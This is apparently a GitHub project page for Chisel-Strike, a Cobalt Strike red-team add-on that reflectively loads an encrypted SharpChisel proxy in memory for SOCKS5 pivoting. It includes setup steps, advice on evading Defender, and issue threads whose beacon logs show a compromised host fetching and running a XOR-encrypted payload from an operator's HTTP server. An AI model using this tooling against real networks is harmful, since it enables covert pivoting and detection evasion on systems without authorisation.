m3rcer / chisel-strike Goto Github PK

A .NET XOR encrypted cobalt strike aggressor implementation for chisel to utilize faster proxy and advanced socks5 capabilities.

Home Page: https://github.com/m3rcer/Chisel-Strike

License: GNU General Public License v3.0

C# 95.64% Batchfile 2.48% Shell 1.89%

aggressor-scripts chisel cobalt-strike redteaming socks5

chisel-strike's Introduction

Chisel-Strike

A .NET XOR encrypted cobalt strike aggressor implementation for chisel to utilize faster proxy and advanced socks5 capabilities.

Why write this?

In my experience I found socks4/socks4a proxies quite slow in comparison to its socks5 counterparts and a lack of implementation of socks5 in most C2 frameworks. There is a C# wrapper around the go version of chisel called SharpChisel. This wrapper has a few issues and isn't maintained to the latest version of it's go counterpart. SharpChisel didn’t produce compatible shellcode with donut, reflection methods or execute-assembly. A fix for this has been found using the SharpChisel-NG project: https://github.com/latortuga71/SharpChisel-NG.

Since the SharpChisel-NG assembly is around 16.7 MB, execute-assembly(has a hidden size limitation of 1 MB) and similar in memory methods wouldn’t work. To maintain most of the execution in memory, the NetLoader project is incorporated and executed via execute-assembly to reflectively host and load a XOR encrypted version of SharpChisel-NG with base64 arguments in memory.

As an alternative, it is also possible to implement similar C# proxies like SharpSocks by replacing the appropriate chisel binaries in the project.

Setup

Note: If using a Windows teamserver skip steps 2 and 3.

Clone / download the repository: git clone https://github.com/m3rcer/Chisel-Strike.git
Make all binaries executable:

cd Chisel-Strike
chmod +x -R chisel-modules
chmod +x -R tools

Install Mingw-w64 and mono:

sudo apt-get install mingw-w64
sudo apt install mono-complete

Import ChiselStrike.cna in cobalt strike using the Script Manager

Recompile and replace updated binaries from the src folder if needed.

Usage

chisel can be executed on both the CS teamserver client (windows / linux) and the beacon. With either acting as the server / client. A normal execution flow would be to setup a chisel server on the CS teamserver and then create a client on the beacon to connect back to the teamserver.

Commands

chisel <client/server> <command>: Run chisel on a beacon
chisel-tms <client/server> <command>: Run chisel on your CS teamserver
chisel-enc: XOR encrypt SharpChisel-NG with a password of choice
chisel-jobs: List active chisel jobs on the CS teamserver and beacon
chisel-kill: Kill active chisel jobs on a beacon
chisel-tms-kill: Kill active chisel jobs on your CS teamserver client

Example

OPSEC

SharpChisel-NG drops a DLL on disk due to the use of Costura / Fody packages at a location similar to: C:\Users\m3rcer\AppData\Local\Temp\Costura\CB9433C24E75EC539BF34CD1AA12B236\64\main.dll which is detected by defender. It is advised to obfuscate and update chisel DLL's and SharpChisel-NG in the project.

TODO

Figure a way to avoid SharpChisel dropping main.dll on disk / create a new C# wrapper for chisel.
Create a method to parse command output for the chisel-tms command.

Credits

Flangvik and Arno0x for the NetLoader project.
shantanu561993 for the C# wrapper implementation of chisel: SharpChisel
latortuga71 for the load-assembly fix: SharpChisel-NG

chisel-strike's People

Contributors

Stargazers

Watchers

chisel-strike's Issues

[Question] Confusion about chisel-tms command

Basic information

CobaltStrike version: 4.2
CobaltStrike Teamserver system: ubuntu 20.0.4
CobaltStrike client system: windows 10

Hello dude, I am now confused about this command: how did it execute the chisel in teamserver?

As you can see, the chisel is running on the CS client.

chisel-tms

Any CS version limit? Hers is my CS version.

Exception has been thrown by the target of an invocation.

Hello, the project looks very neat but unfortunately I'm having some issues. here is the output:

[03/23 15:14:48] beacon> chisel-tms server -p 2000 --reverse
[03/23 15:14:48] [*] ____ _  _ _ ____ ____ _       ____ ___ ____ _ _  _ ____ 
[03/23 15:14:48] [*] |    |__| | [__  |___ |    __ [__   |  |__/ | |_/  |___ 
[03/23 15:14:48] [*] |___ |  | | ___] |___ |___    ___]  |  |  \ | | \_ |___ 
[03/23 15:14:48] [*] -------------------------------------------------------
[03/23 15:14:48] [*] Author - m3rcer	github.com/m3rcer/Chisel-Strike
[03/23 15:14:48] [*] -------------------------------------------------------
[03/23 15:14:48] [*]                                                         
[03/23 15:14:48] [*] Executing On Linux Teamserver: /opt/Chisel-Strike/chisel-modules/chisel64 server -p 2000 --reverse
[03/23 15:15:20] beacon> chisel-tls client 10.10.16.186:2000 R:socks
[03/23 15:15:20] [-] Unknown command: chisel-tls client 10.10.16.186:2000 R:socks
[03/23 15:15:29] beacon> chisel client 10.10.16.186:2000 R:socks
[03/23 15:15:29] [*] ____ _  _ _ ____ ____ _       ____ ___ ____ _ _  _ ____ 
[03/23 15:15:29] [*] |    |__| | [__  |___ |    __ [__   |  |__/ | |_/  |___ 
[03/23 15:15:29] [*] |___ |  | | ___] |___ |___    ___]  |  |  \ | | \_ |___ 
[03/23 15:15:29] [*] -------------------------------------------------------
[03/23 15:15:29] [*] Author - m3rcer	github.com/m3rcer/Chisel-Strike
[03/23 15:15:29] [*] -------------------------------------------------------
[03/23 15:15:29] [*]                                                         
[03/23 15:15:29] [*] Base64 args are: Y2xpZW50IDEwLjEwLjE2LjE4NjoyMDAwIFI6c29ja3M=
[03/23 15:15:30] [*] Hosted /SharpChisel.xor @ http://10.10.16.186:80/SharpChisel.xor
[03/23 15:15:30] [*] Base64 XOR URL is: aHR0cDovLzEwLjEwLjE2LjE4Njo4MC9TaGFycENoaXNlbC54b3I=
[03/23 15:15:30] [+] host called home, sent: 116683 bytes
[03/23 15:15:31] [+] received output:
[!] ~Flangvik - Arno0x0x Edition - #NetLoader
[+] Patched!
[+] All arguments are Base64 encoded, decoding them on the fly
[+] Decrypting XOR encrypted binary using key 'socks5oversocks4'
[+] Starting http://10.10.16.186:80/SharpChisel.xor with args 'client 10.10.16.186:2000 R:socks'

[03/23 15:15:36] [+] received output:
[!] Damn, it failed, too bad
[!] Exception has been thrown by the target of an invocation.

I already tried to compile SharpChisel myself, but it didn't fix the issue :(

[-] Failed to load the assembly w/hr 0x8007000b

I'm trying to use this on my lab but it seems like I'm encountering this error.
I already followed the installation steps and recompile but still encountering this.

[03/25 16:40:49] beacon> chisel client 10.10.14.3:2020 R:socks
[03/25 16:40:49] [*] ____ _  _ _ ____ ____ _       ____ ___ ____ _ _  _ ____ 
[03/25 16:40:49] [*] |    |__| | [__  |___ |    __ [__   |  |__/ | |_/  |___ 
[03/25 16:40:49] [*] |___ |  | | ___] |___ |___    ___]  |  |  \ | | \_ |___ 
[03/25 16:40:49] [*] -------------------------------------------------------
[03/25 16:40:49] [*] Author - m3rcer	github.com/m3rcer/Chisel-Strike
[03/25 16:40:49] [*] -------------------------------------------------------
[03/25 16:40:49] [*]                                                         
[03/25 16:40:49] [*] Base64 args are: Y2xpZW50IDEwLjEwLjE0LjM6MjAyMCBSOnNvY2tz
[03/25 16:40:50] [*] Hosted /SharpChisel.xor @ http://10.10.14.3:80/SharpChisel.xor
[03/25 16:40:50] [*] Base64 XOR URL is: aHR0cDovLzEwLjEwLjE0LjM6ODAvU2hhcnBDaGlzZWwueG9y
[03/25 16:40:52] [+] host called home, sent: 119227 bytes
[03/25 16:40:54] [+] received output:
[-] Failed to load the assembly w/hr 0x8007000b